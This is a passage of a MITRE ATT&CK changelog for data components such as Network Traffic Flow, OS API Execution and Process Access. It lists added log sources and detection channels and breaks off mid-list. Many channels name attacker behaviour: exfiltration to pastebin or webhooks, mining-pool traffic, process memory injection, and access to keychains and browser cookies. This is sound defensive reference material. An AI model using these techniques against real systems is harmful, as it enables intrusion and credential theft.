[DC0078] Network Traffic Flow

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0078', 'external_id': 'DC0078'}]
x_mitre_log_sources[{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'socket_events'}, {'name': 'NSM:Flow', 'channel': 'Unexpected flows between segmented networks or prohibited ports'}, {'name': 'snmp:config', 'channel': 'Configuration change traps or policy enforcement failures'}, {'name': 'NSM:Flow', 'channel': 'First-time outbound connections to package registries or unknown hosts immediately after restore/build'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to new registries/CDNs post-install/build'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to non-approved registries after dependency install'}, {'name': 'NSM:Flow', 'channel': 'Outbound connections to TCP 139,445 and HTTP/HTTPS to WebDAV endpoints from workstation subnets'}, {'name': 'NSM:Flow', 'channel': 'large outbound data flows or long-duration connections'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'egress > 90th percentile or frequent connection reuse'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect'}, {'name': 'esxi:syslog', 'channel': 'esxcli network vswitch or DNS resolver configuration updates'}, {'name': 'esxi:vobd', 'channel': 'Network Events'}, {'name': 'iptables:LOG', 'channel': 'TCP connections'}, {'name': 'NSM:Flow', 'channel': 'connection metadata'}, {'name': 'wineventlog:dhcp', 'channel': 'DHCP Lease Granted'}, {'name': 'NSM:Flow', 'channel': 'LEASE_GRANTED'}, {'name': 'NSM:Flow', 'channel': 'MAC not in allow-list acquiring IP (DHCP)'}, {'name': 'Windows Firewall Log', 'channel': 'SMB over high port'}, {'name': 'NSM:Connections', 'channel': 'Internal connection logging'}, {'name': 'NSM:Flow', 'channel': 'pf firewall logs'}, {'name': 'esxi:vmkernel', 'channel': '/var/log/vmkernel.log'}, {'name': 'NSM:Flow', 'channel': 'Inter-segment traffic'}, {'name': 'NSM:Flow', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Long-lived or hijacked SSH sessions maintained with no active user activity'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'VPC/NSG flow logs for pod/instance egress to Internet or metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious outbound traffic from browser binary to non-standard domains'}, {'name': 'NSM:Flow', 'channel': 'Abnormal browser traffic volume or destination'}, {'name': 'NSM:Flow', 'channel': 'Outbound requests to domains not previously resolved or associated with phishing campaigns'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to domains/IPs not previously resolved, occurring shortly after attachment download or link click'}, {'name': 'M365Defender:DeviceNetworkEvents', 'channel': 'NetworkConnection: bytes_sent >> bytes_received anomaly'}, {'name': 'PF:Logs', 'channel': 'outbound flows with bytes_out >> bytes_in'}, {'name': 'NSX:FlowLogs', 'channel': 'network_flow: bytes_out >> bytes_in to external'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/Zeek conn.log'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound data flows'}, {'name': 'NSM:Flow', 'channel': 'Flow records with entropy signatures resembling symmetric encryption'}, {'name': 'NSM:Flow', 'channel': 'flow records'}, {'name': 'networkdevice:syslog', 'channel': 'flow records'}, {'name': 'macos:unifiedlog', 'channel': 'HTTPS POST to known webhook URLs'}, {'name': 'saas:api', 'channel': 'Webhook registrations or repeated POST activity'}, {'name': 'NSM:Flow', 'channel': 'Source/destination IP translation inconsistent with intended policy'}, {'name': 'SNMP:DeviceLogs', 'channel': 'Unexpected NAT translation statistics or rule insertion events'}, {'name': 'NSM:Flow', 'channel': 'Sudden spike in incoming flows to web service ports from single/multiple IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Unusual volume of inbound packets from single source across short time interval'}, {'name': 'NSM:Flow', 'channel': 'port 5900 inbound'}, {'name': 'NSM:Flow', 'channel': 'TCP port 5900 open'}, {'name': 'NSM:firewall', 'channel': 'inbound connection to port 5900'}, {'name': 'NSM:Firewall', 'channel': 'Outbound connections to 139/445 to multiple destinations'}, {'name': 'VPCFlowLogs:All', 'channel': 'High volume internal traffic with low entropy indicating looped or malicious DoS script'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/sFlow/PCAP'}, {'name': 'NSM:Flow', 'channel': 'Outbound Network Flow'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.network'}, {'name': 'NSM:Flow', 'channel': 'Device-to-Device Deployment Flows'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect syscalls'}, {'name': 'macos:unifiedlog', 'channel': 'outbound TCP/UDP traffic over unexpected port'}, {'name': 'esxi:vpxd', 'channel': 'ESXi service connections on unexpected ports'}, {'name': 'iptables:LOG', 'channel': 'OUTBOUND'}, {'name': 'macos:unifiedlog', 'channel': 'tcp/udp'}, {'name': 'esxi:hostd', 'channel': 'CLI network calls'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic from suspicious new processes post-attachment execution'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious anomalies in transmitted data integrity during application network operations'}, {'name': 'esxi:syslog', 'channel': 'DNS resolution events leading to outbound traffic on unexpected ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to mining pools or proxies'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound flow logs to known mining pools'}, {'name': 'container:cni', 'channel': 'Outbound network traffic to mining proxies'}, {'name': 'esxi:vpxd', 'channel': 'TLS session established by ESXi service to unapproved endpoint'}, {'name': 'NSM:Flow', 'channel': 'Session records with TLS-like byte patterns'}, {'name': 'macos:unifiedlog', 'channel': 'HTTPS POST requests to pastebin.com or similar'}, {'name': 'NetFlow:Flow', 'channel': 'new outbound connections from exploited process tree'}, {'name': 'NSM:Connections', 'channel': 'new connections from exploited lineage'}, {'name': 'NSM:Flow', 'channel': 'Unexpected route changes or duplicate gateway advertisements'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall', 'channel': 'EventCode=2004,2005,2006'}, {'name': 'NSM:Flow', 'channel': 'Knock pattern: repeated REJ/S0 across ≥MinSequenceLen ports from same src_ip then SF success.'}, {'name': 'macos:unifiedlog', 'channel': 'Firewall/PF anchor load or rule change events.'}, {'name': 'networkdevice:syslog', 'channel': 'Config/ACL changes, line vty transport input changes, telnet/ssh/http(s) enable, image/feature module changes.'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to non-approved update hosts right after install/update'}, {'name': 'NSM:Flow', 'channel': 'New outbound flows to non-approved vendor hosts post install'}, {'name': 'NSM:Flow', 'channel': 'New/rare egress to non-approved update hosts after install'}, {'name': 'NSM:Flow', 'channel': 'large outbound HTTPS uploads to repo domains'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS traffic to repository domains'}, {'name': 'NSM:Flow', 'channel': 'alert log'}, {'name': 'esxi:vmkernel', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Outbound flow records'}, {'name': 'm365:defender', 'channel': 'NetworkConnection: high out:in ratio, periodic beacons, protocol mismatch'}, {'name': 'PF:Logs', 'channel': 'high out:in ratio or fixed-size periodic flows'}, {'name': 'NSM:Flow', 'channel': 'network_flow: bytes_out >> bytes_in, fixed packet sizes/intervals to non-approved CIDRs'}, {'name': 'auditd:SYSCALL', 'channel': 'connect or sendto system call with burst pattern'}, {'name': 'macos:unifiedlog', 'channel': 'sudden burst in outgoing packets from same PID'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'source instance sends large volume of traffic in short window'}, {'name': 'NSM:Flow', 'channel': 'session stats with bytes_out > bytes_in'}, {'name': 'NIDS:Flow', 'channel': 'session stats with bytes_out > bytes_in'}, {'name': 'esxi:vpxa', 'channel': 'connection attempts and data transmission logs'}, {'name': 'PF:Logs', 'channel': 'External traffic to remote access services'}, {'name': 'NSM:Flow', 'channel': 'High volumes of SYN/ACK packets with unacknowledged TCP handshakes'}, {'name': 'dns:query', 'channel': 'Outbound resolution to hidden service domains (e.g., `.onion`)'}, {'name': 'NSM:Flow', 'channel': 'conn.log + ssl.log with Tor fingerprinting'}, {'name': 'macos:unifiedlog', 'channel': 'forwarded encrypted traffic'}, {'name': 'NSM:Flow', 'channel': 'Relayed session pathing (multi-hop)'}, {'name': 'NSM:Flow', 'channel': 'Outbound TCP SYN or UDP to multiple ports/hosts'}, {'name': 'containerd:runtime', 'channel': 'container-level outbound traffic events'}, {'name': 'WLANLogs:Association', 'channel': 'Multiple APs advertising the same SSID but with different BSSID/MAC or encryption type'}, {'name': 'linux:osquery', 'channel': 'socket_events'}, {'name': 'WinEventLog:Security', 'channel': 'ARP cache modification attempts observed through event tracing or security baselines'}, {'name': 'NSM:Flow', 'channel': 'Gratuitous ARP replies with mismatched IP-MAC binding'}, {'name': 'macos:unifiedlog', 'channel': 'ARP table updates inconsistent with expected gateway or DHCP lease assignments'}, {'name': 'macos:unifiedlog', 'channel': 'networkd or com.apple.network'}, {'name': 'macos:unifiedlog', 'channel': 'log stream \'eventMessage contains "dns_request"\''}, {'name': 'esxi:syslog', 'channel': '/var/log/syslog.log'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateTrafficMirrorSession or ModifyTrafficMirrorTarget'}, {'name': 'networkdevice:syslog', 'channel': "Config change: CLI/NETCONF/SNMP – 'monitor session', 'mirror port'"}, {'name': 'NSM:Flow', 'channel': 'Outbound UDP floods targeting common reflection services with spoofed IP headers'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound UDP spikes to external reflector IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large outbound UDP traffic to multiple public reflector IPs'}, {'name': 'macos:unifiedlog', 'channel': 'High entropy domain queries with multiple NXDOMAINs'}, {'name': 'esxi:syslog', 'channel': 'Frequent DNS queries with high entropy names or NXDOMAIN results'}, {'name': 'vpxd.log', 'channel': 'API communication'}, {'name': 'NSM:Connections', 'channel': 'Outbound Connection'}, {'name': 'NSM:Flow', 'channel': 'Connection Tracking'}, {'name': 'NSM:Firewall', 'channel': 'pf firewall logs'}, {'name': 'NSM:Flow', 'channel': 'Flow Creation (NetFlow/sFlow)'}, {'name': 'NSM:Flow', 'channel': 'conn.log, icmp.log'}, {'name': 'NSM:Flow', 'channel': 'Abnormal SMB authentication attempts correlated with poisoned LLMNR/NBT-NS sessions'}, {'name': 'NSM:Flow', 'channel': 'Gratuitous or duplicate DHCP OFFER packets from non-legitimate servers'}, {'name': 'NSM:Connections', 'channel': 'Inbound on ports 5985/5986'}, {'name': 'linux:syslog', 'channel': 'Multiple IP addresses assigned to the same domain in rapid sequence'}, {'name': 'macos:unifiedlog', 'channel': 'Rapid domain-to-IP resolution changes for same domain'}, {'name': 'esxi:syslog', 'channel': 'Frequent DNS resolution of same domain with rotating IPs'}, {'name': 'NSM:Flow', 'channel': 'uncommon ports'}, {'name': 'NSM:Flow', 'channel': 'alternate ports'}, {'name': 'esxi:vpxd', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'conn.log or flow data'}, {'name': 'esxi:vmkernel', 'channel': 'egress log analysis'}, {'name': 'esxi:vmkernel', 'channel': 'egress logs'}, {'name': 'NSM:Flow', 'channel': 'High volume flows with incomplete TCP sessions or single-packet bursts'}, {'name': 'NSM:Flow', 'channel': 'Knock pattern: multiple REJ/S0 to distinct closed ports then successful connection to service_port'}, {'name': 'macos:unifiedlog', 'channel': 'Firewall rule enable/disable or listen socket changes'}, {'name': 'networkdevice:syslog', 'channel': 'Config/ACL/line vty changes, service enable (telnet/ssh/http(s)), module reloads'}, {'name': 'auditd:SYSCALL', 'channel': 'ioctl: Changes to wireless network interfaces (up, down, reassociate)'}, {'name': 'macos:osquery', 'channel': 'query: Historical list of associated SSIDs compared against baseline'}, {'name': 'NSM:Flow', 'channel': 'First-time egress from host after new install to unknown update endpoints'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to unknown registries/mirrors immediately after install'}, {'name': 'NSM:Flow', 'channel': 'New egress from app just installed to unknown update endpoints'}, {'name': 'esxi:vpxd', 'channel': 'ESXi processes relaying traffic via SSH or unexpected ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound connection to mining pool port (3333, 4444, 5555)'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to mining pool upon container launch'}, {'name': 'NSM:Flow', 'channel': 'Flow records with RSA key exchange on unexpected port'}, {'name': 'NSM:Flow', 'channel': 'Outbound connections from web server binaries (apache2, nginx, php-fpm) to unknown external IPs'}, {'name': 'NSM:Flow', 'channel': 'sustained outbound HTTPS sessions with high data volume'}, {'name': 'NSM:Flow', 'channel': 'Connections from IDE hosts to marketplace/tunnel domains'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound connections from IDE processes to marketplace/tunnel domains'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS outbound uploads'}, {'name': 'esxi:vmkernel', 'channel': 'network flows to external cloud services'}, {'name': 'NSM:Flow', 'channel': 'TCP port 22 traffic'}, {'name': 'esxi:vmkernel', 'channel': 'port 22 access'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:20.168000+00:002025-10-21 15:14:34.703000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0021] OS API Execution

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0021', 'external_id': 'DC0021'}]
x_mitre_log_sources[{'name': 'Process', 'channel': 'None'}, {'name': 'etw:Microsoft-Windows-Kernel-Base', 'channel': 'GetLocaleInfoW, GetTimeZoneInformation API calls'}, {'name': 'AWS:CloudTrail', 'channel': 'GetMetadata, DescribeInstanceIdentity'}, {'name': 'macos:osquery', 'channel': 'open, execve: Unexpected processes accessing or modifying critical files'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, ioctl'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API tracing / stack tracing via ETW or telemetry-based EDR'}, {'name': 'EDR:memory', 'channel': 'Behavioral API telemetry (GetProcAddress, LoadLibrary, VirtualAlloc)'}, {'name': 'networkdevice:syslog', 'channel': 'aaa privilege_exec'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'APCQueueOperations'}, {'name': 'macos:unifiedlog', 'channel': 'Invocation of SMLoginItemSetEnabled by non-system or recently installed application'}, {'name': 'macos:unifiedlog', 'channel': 'flock|NSDistributedLock|FileHandle.*lockForWriting'}, {'name': 'etw:Microsoft-Windows-Directory-Services-SAM', 'channel': 'api_call: Calls to DsAddSidHistory or related RPC operations'}, {'name': 'macos:unifiedlog', 'channel': 'application logs referencing NSTimer, sleep, or launchd delays'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'High-frequency or suspicious sequence of QueryPerformanceCounter/GetTickCount API calls from a non-standard process lineage'}, {'name': 'auditd:SYSCALL', 'channel': 'Rules capturing clock_gettime, time, gettimeofday syscalls when enabled'}, {'name': 'networkdevice:syslog', 'channel': 'Unexpected reload, crashinfo, or boot message not tied to scheduled maintenance'}, {'name': 'etw:Microsoft-Windows-RPC', 'channel': 'rpc_call: srvsvc.NetShareEnum / NetShareEnumAll from non-admin or unusual processes'}, {'name': 'NSM:Flow', 'channel': 'smb_command: TreeConnectAndX to \\\\*\\IPC$ / srvsvc or Trans2/NT_CREATE for listing shares'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656'}, {'name': 'EDR:memory', 'channel': 'API usage MFCreateDeviceSource, IAMStreamConfig, ICaptureGraphBuilder2, DirectShow filter graph creation from uncommon callers'}, {'name': 'auditd:SYSCALL', 'channel': 'openat/read/ioctl: openat/read/ioctl on /dev/video* by uncommon user/process'}, {'name': 'macos:unifiedlog', 'channel': 'Access decisions to kTCCServiceCamera for unexpected binaries'}, {'name': 'EDR:memory', 'channel': 'Objective‑C/Swift calls to AVCaptureDevice/AVCaptureSession by non-whitelisted processes'}, {'name': 'auditd:SYSCALL', 'channel': 'mmap, ptrace, process_vm_writev or direct memory ops'}, {'name': 'WinEventLog:Application', 'channel': 'API call to AddMonitor invoked by non-installer process'}, {'name': 'etw:Microsoft-Windows-Win32k', 'channel': 'SetWindowLong, SetClassLong, NtUserMessageCall, SendNotifyMessage, PostMessage'}, {'name': 'auditd:SYSCALL', 'channel': 'unshare, mount, keyctl, setns syscalls executed by containerized processes'}, {'name': 'macos:unifiedlog', 'channel': 'audio APIs'}, {'name': 'WinEventLog:Microsoft-Windows-COM/Operational', 'channel': 'CLSID activation events where ProcessName=mmc.exe and CLSID not in allowed baseline'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.securityd, com.apple.tccd'}, {'name': 'auditd:SYSCALL', 'channel': 'send, recv, write: Abnormal interception or alteration of transmitted data'}, {'name': 'macos:osquery', 'channel': 'CALCULATE: Integrity validation of transmitted data via hash checks'}, {'name': 'ETW:Token', 'channel': 'token_analysis: API calls such as DuplicateTokenEx or ImpersonateLoggedOnUser'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API Calls'}, {'name': 'etw:Microsoft-Windows-DotNETRuntime', 'channel': 'AssemblyLoad/ModuleLoad (Loader keyword) from Microsoft-Windows-DotNETRuntime'}, {'name': 'EDR:memory', 'channel': 'VirtualAlloc/VirtualProtect/MapViewOfFile indicators via stack/heap activity and ImageLoad'}, {'name': 'auditd:MMAP', 'channel': 'memory region with RWX permissions allocated'}, {'name': 'snmp:trap', 'channel': 'management queries'}, {'name': 'AWS:CloudTrail', 'channel': 'Describe* or List* API calls'}, {'name': 'etw:Microsoft-Windows-Win32k', 'channel': 'SendMessage, PostMessage, LVM_*'}, {'name': 'auditd:SYSCALL', 'channel': 'sudo or pkexec invocation'}, {'name': 'macos:unifiedlog', 'channel': 'authorization execute privilege requests'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'NtQueryInformationProcess'}, {'name': 'macos:unifiedlog', 'channel': 'ptrace: Processes invoking ptrace with PTRACE_TRACEME flag'}, {'name': 'esxi:hostd', 'channel': 'Remote access API calls and file uploads'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread'}, {'name': 'linux:syslog', 'channel': 'Execution of modified binaries or abnormal library load sequences'}, {'name': 'macos:unifiedlog', 'channel': 'Calls to AuthorizationExecuteWithPrivileges() observed via Apple System Logger or security_auditing tools'}, {'name': 'macos:unifiedlog', 'channel': 'access or unlock attempt to keychain database'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of input detection APIs (e.g., CGEventSourceKeyState)'}, {'name': 'auditd:SYSCALL', 'channel': 'mount system call with bind or remap flags'}, {'name': 'AWS:CloudTrail', 'channel': 'Decrypt'}, {'name': 'etw:Microsoft-Windows-Kernel-File', 'channel': 'ZwSetEaFile or ZwQueryEaFile function calls'}, {'name': 'auditd:SYSCALL', 'channel': 'fork/clone/daemon syscall tracing'}, {'name': 'fs:fsusage', 'channel': 'Detached process execution with no associated parent'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, mmap, mprotect, open, dlopen'}, {'name': 'ETW:ProcThread', 'channel': 'api_call: CreateProcessWithTokenW, CreateProcessAsUserW'}, {'name': 'EDR:memory', 'channel': 'MemoryWriteToExecutable'}, {'name': 'ETW:Token', 'channel': 'api_call: DuplicateTokenEx, ImpersonateLoggedOnUser, SetThreadToken'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'api_call: UpdateProcThreadAttribute (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) and CreateProcess* with EXTENDED_STARTUPINFO_PRESENT / StartupInfoEx'}, {'name': 'etw:Microsoft-Windows-Security-Auditing', 'channel': 'api_call: LogonUser(A|W), LsaLogonUser, SetThreadToken, ImpersonateLoggedOnUser'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API calls'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, mmap, process_vm_writev'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of dd or sed targeting /proc/*/mem'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'CreateTransaction, CreateFileTransacted, RollbackTransaction, NtCreateProcessEx, NtCreateThreadEx'}, {'name': 'ETW', 'channel': 'Calls to GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'WriteProcessMemory: WriteProcessMemory targeting regions containing KernelCallbackTable addresses'}, {'name': 'EDR:file', 'channel': 'SetFileTime'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:31.145000+00:002025-10-21 15:14:36.999000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0096] Passive DNS

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0096', 'external_id': 'DC0096'}]
x_mitre_log_sources[{'name': 'Domain Name', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--dd75f457-8dc0-4a24-9ae5-4b61c33af866
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:16:31.390000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0019] Pod Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0019', 'external_id': 'DC0019'}]
x_mitre_log_sources[{'name': 'AWS:CloudTrail', 'channel': 'CreatePod: Programmatic creation of new pod resources using container images not seen before in the environment'}, {'name': 'kubernetes:audit', 'channel': 'create'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--06bb1e05-533b-4de3-ae87-9b99910465cf
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:17:38.124000+00:002025-10-21 15:14:37.749000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0037] Pod Enumeration

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0037', 'external_id': 'DC0037'}]
x_mitre_log_sources[{'name': 'kubernetes:apiserver', 'channel': 'list or get requests against pods, deployments, or nodes'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--06bb1e05-533b-4de3-ae87-9b99910465cf
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:17:31.773000+00:002025-10-21 15:14:40.544000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0030] Pod Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0030', 'external_id': 'DC0030'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--06bb1e05-533b-4de3-ae87-9b99910465cf
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:17:41.365000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0035] Process Access

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0035', 'external_id': 'DC0035'}]
x_mitre_log_sources[{'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=10'}, {'name': 'linux:osquery', 'channel': 'Process State'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace attach'}, {'name': 'macos:unifiedlog', 'channel': 'ptrace or task_for_pid'}, {'name': 'macos:osquery', 'channel': 'process_open'}, {'name': 'auditd:SYSCALL', 'channel': 'High frequency of accept(), read(), or SSL_read() syscalls tied to nginx/apache processes'}, {'name': 'Apple TCC Logs', 'channel': 'Microphone Access Events'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=10, 7'}, {'name': 'linux:syslog', 'channel': 'syscalls (open, read, ioctl) on /dev/input or /proc/*/fd/*'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=25'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_OPEN'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected NSXPCConnection calls by non-Apple-signed or abnormal binaries'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656'}, {'name': 'macos:unifiedlog', 'channel': 'Unusual Mach port registration or access attempts between unrelated processes'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.security, library=libsystem_kernel.dylib'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace syscall or access to /proc/*/mem'}, {'name': 'macos:unifiedlog', 'channel': 'vm_read, task_for_pid, or file open to cookie databases'}, {'name': 'linux:osquery', 'channel': 'process_events'}, {'name': 'auditd:SYSCALL', 'channel': 'ACCESS'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, fork, mmap, ptrace'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace or process_vm_readv'}, {'name': 'macos:osquery', 'channel': 'unexpected memory inspection'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:47.199000+00:002025-10-21 15:14:35.539000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0032] Process Creation

Current version: 2.0

Version changed from: 1.2 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0032', 'external_id': 'DC0032'}]
x_mitre_log_sources[{'name': 'Process', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': "log stream 'eventMessage contains pubsub or broker'"}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=1'}, {'name': 'linux:osquery', 'channel': 'Execution of binary resolved from $PATH not located in /usr/bin or /bin'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution path inconsistent with baseline PATH directories'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4688'}, {'name': 'linux:osquery', 'channel': 'process_events'}, {'name': 'macos:endpointsecurity', 'channel': 'exec'}, {'name': 'macos:osquery', 'channel': 'processes'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of launchctl with suspicious arguments'}, {'name': 'auditd:SYSCALL', 'channel': 'execve network tools'}, {'name': 'macos:osquery', 'channel': 'process_events'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls to soffice.bin with suspicious macro execution flags'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution of Microsoft Word, Excel, PowerPoint with macro execution attempts'}, {'name': 'macos:osquery', 'channel': 'process reading browser configuration paths'}, {'name': 'macos:unifiedlog', 'channel': 'exec logs'}, {'name': 'auditd:EXECVE', 'channel': 'execve: Processes launched with LD_PRELOAD/LD_LIBRARY_PATH pointing to non-system dirs'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: Process execution context for loaders calling dlopen/dlsym'}, {'name': 'auditd:EXECVE', 'channel': 'EXECVE'}, {'name': 'auditd:EXECVE', 'channel': 'execution of unexpected binaries during user shell startup'}, {'name': 'macos:unifiedlog', 'channel': 'launch of Terminal.app or shell with non-standard environment setup'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC with unusual parent-child process relationships from zsh'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of systemctl or service stop'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of launchctl or pkill'}, {'name': 'macos:unifiedlog', 'channel': 'process::exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of klist, kinit, or tools interacting with ccache outside normal user context'}, {'name': 'macos:osquery', 'channel': 'Execution of non-standard binaries accessing Kerberos APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Electron-based binary spawning shell or script interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'Electron app spawning unexpected child process'}, {'name': 'esxi:shell', 'channel': '/root/.ash_history or /etc/init.d/*'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls with high-frequency or known bandwidth-intensive tools'}, {'name': 'macos:unifiedlog', 'channel': 'exec or spawn calls to proxy tools or torrent clients'}, {'name': 'containers:osquery', 'channel': 'bandwidth-intensive command execution from within a container namespace'}, {'name': 'macos:unifiedlog', 'channel': 'process launch'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --info --predicate \'subsystem == "com.apple.cfprefsd"\''}, {'name': 'macos:unifiedlog', 'channel': 